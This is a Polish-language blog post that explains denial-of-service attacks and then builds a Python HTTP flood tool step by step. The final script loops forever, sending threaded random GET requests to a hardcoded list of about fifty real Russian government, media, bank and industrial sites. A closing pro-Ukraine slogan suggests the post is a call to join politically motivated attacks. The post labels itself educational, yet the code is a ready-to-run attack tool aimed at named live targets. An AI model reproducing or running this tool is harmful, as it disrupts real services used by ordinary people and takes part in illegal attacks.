Czym jest atak DDoS?

Atak DoS (Denial of Service) polega na wyłączeniu pewnej konkretnej usługi w internecie. Istnieje wiele metod, aby interesującą nas usługę wyłączyć. Niektóre z nich polegają na wykorzystaniu błędu w oprogramowaniu. Dla przykładu stare systemy operacyjne bez odpowiedniego patcha wieszały się, gdy otrzymywały pakiet ping o zbyt dużym rozmiarze (ping of death). Innym przykładem jest atak w którym wysyłamy pakiety źle sfragmentowane pakiety TCP (takie w których fragmenty w ramkach nachodzą na siebie). Adresat takich pakietów nie potrafiąc złożyć wiadomości w całość, wieszał się. Atak ten nosił nazwę teardrop. Są to bardzo archaiczne metody. Niestety nie wiem jak sprawa ma się dzisiaj, gdyż na swojej ścieżce edukacyjnej zamiast bezpieczeństwa komputerowego wybrałem algorytmikę.

Inną metodą na wyłączenie usługi w internecie jest przepełnienie zasobów. Wyobraźmy sobie że do małego sklepu osiedlowego (żabki dajmy na to) nagle wchodzi 50 osób i nic nie kupuje, tylko grzecznie stoi. Niby nie ma w tym nic złego (nie jestem prawnikiem, ale nie wiem czy można by było im postawić jakieś zarzuty), ale sklep nie może funkcjonować normalnie, bo nie ma w nim miejsca dla prawdziwych klientów. Na tym polega attack typu flood. Zasypujemy zapytaniami pewien serwer w sieci “sztucznymi” zapytaniami, przez co nie jest on w stanie odpowiadać na “prawdziwe” zapytania.

Oczywiście w obecnych czasach, nasz mały komputerek nie jest w stanie wysłać odpowiednio dużej liczby zapytań aby zapchać serwery Googla. Dlatego stosuje się tak zwany atak DDoS (Distributed Denial of Service). Polega on na zasypywaniu serwera zapytaniami z wielu komputerów na raz. W jaki sposób ktoś wchodzi w posiadanie wielu komputerów? Można na przykład zhakować słabo zabezpieczone komputery. Mam nadzieję, że tym samym odpowiedziałem na pytanie “dlaczego muszę dbać o bezpieczeństwo swojego komputera skoro nie mam na nim nic co mogłoby interesować hakera?”.

Jak przeprowadzić atak typu flood? Zacznijmy od wysłania pojedynczego zapytania http.

import socket
import string
import random

target = "kremlin.ru"
port = 80

ip = socket.gethostbyname(target)

symbols = str(string.ascii_letters + string.digits + string.punctuation)
request = "".join(random.sample(symbols, 5))

try:
    connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connection.connect((ip, port))

    try:
        databytes = (f'GET /{request} HTTP/1.1\nHost: {target}\n\n').encode()
        connection.send(databytes)
    except socket.error as err:
        print(f'[ No connection (server down?) ]: {err}')
    finally:
        connection.shutdown(socket.SHUT_RDWR)

except socket.error as err:
    print(f'[ No connection (server down?) ]: {err}')
finally:
    connection.close()

Zaczynamy od ustalenia celu. W naszym przykładzie jest to serwer kremlin.ru, będziemy się łączyć z nim na porcie 80. Potrzebujemy adres ip tego serwera, co otrzymujemy za pomocą funkcji gethostbyname. Następnie wybieramy request. Ważne jest aby ten request był unikalny. Jeśli wyślemy dwa razy ten sam request to serwer buforujący może zapamiętać takie zapytanie i odpowie nam nie wysyłając naszego pakietu dalej. Tworzymy napis złożony z dozwolonych znaków (zmienna symbols) i wybieramy z nich 5 losowych. Następnie tworzymy połączenie, łączymy się z serwerem, wysyłamy zapytanie i zamykamy połączenie.

Całość nie wystarczy powtórzyć 1000 razy. Gdybyśmy tak postąpili, zapytania do serwera lądowałyby sekwencyjnie. My chcemy wysłać je (w miarę możliwości) jednocześnie. Potrzebujemy do tego celu wątków.

import socket
import string
import random
import threading

target = "kremlin.ru"
port = 80

ip = socket.gethostbyname(target)

symbols = str(string.ascii_letters + string.digits + string.punctuation)

def send_http_request():
    request = "".join(random.sample(symbols, 5))
    try:
        connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connection.connect((ip, port))

        try:
            databytes = (f'GET /{request} HTTP/1.1\nHost: {target}\n\n').encode()
            connection.send(databytes)
        except socket.error as err:
            print(f'[ No connection (server down?) ]: {err}')
        finally:
            connection.shutdown(socket.SHUT_RDWR)

    except socket.error as err:
        print(f'[ No connection (server down?) ]: {err}')
    finally:
        connection.close()

num_request = 1000

my_threads = []
for i in range(num_request):
    thread = threading.Thread(target=send_http_request)
    thread.start()
    my_threads.append(thread)

for thread in my_threads:
    thread.join()

Doszedł nam jeden import i nasz wcześniejszy kod jest teraz funkcją. Dalej decydujemy ile pakietów chcemy wysłać. Należy mieć na uwadze to, że jesteśmy ograniczeni przez system i nie możemy otworzyć zbyt dużej ilość gniazdek. Następnie w pętli for tworzymy wątki i je uruchamiamy. Druga pętla for dba o to aby wszystkie wątki się zakończyły zanim przejdziemy dalej.

Program oczywiście możemy dalej rozwijać:

import socket
import string
import random
import threading

targets = ['ria.ru','rbc.ru','kremlin.ru','en.kremlin.ru','tass.ru','tvzvezda.ru','vsoloviev.ru','1tv.ru','online.sberbank.ru','sberbank.ru','zakupki.gov.ru','gosuslugi.ru','er.ru','rzd.ru','rzdlog.ru','interfax.ru','government.ru','nalog.gov.ru','customs.gov.ru','pfr.gov.ru','rkn.gov.ru','gazprombank.ru','vtb.ru','gazprom.ru','lukoil.ru','magnit.ru','nornickel.com','tatneft.ru','nlmk.com','sibur.ru','severstal.com','metalloinvest.com','nangs.org','tmk-group.ru','yandex.ru','yandex.by','eurosib.ru','omk.ru','mail.rkn.gov.ru','cloud.rkn.gov.ru','mvd.gov.ru','pwd.wto.economy.gov.ru','stroi.gov.ru','proverki.gov.ru','gazeta.ru','crimea.kp.ru','kommersant.ru','riafan.ru','mk.ru','vedomosti.ru','sputnik.by']
port = 80

ip = [socket.gethostbyname(target) for target in targets]

symbols = str(string.ascii_letters + string.digits + string.punctuation)

def send_http_request():
    index = random.randrange(len(targets))
    request = "".join(random.sample(symbols, 5))
    try:
        connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connection.connect((ip[index], port))

        try:
            databytes = (f'GET /{request} HTTP/1.1\nHost: {targets[index]}\n\n').encode()
            connection.send(databytes)
        except socket.error as err:
            print(f'[ No connection (server down?) ]: {err}')
        finally:
            connection.shutdown(socket.SHUT_RDWR)

    except socket.error as err:
        print(f'[ No connection (server down?) ]: {err}')
    finally:
        connection.close()

num_request = 1000

while True:
    my_threads = []
    for i in range(num_request):
        thread = threading.Thread(target=send_http_request)
        thread.start()
        my_threads.append(thread)

    for thread in my_threads:
        thread.join()

Nasza funkcja teraz losuje do którego serwera wysłać zapytanie (z listy targets), a całość zapętlona jest w pętli while.

Efekt działania programu.

Artykuł powstał jedynie w celach edukacyjnych.

Слава Україні!

Back To Top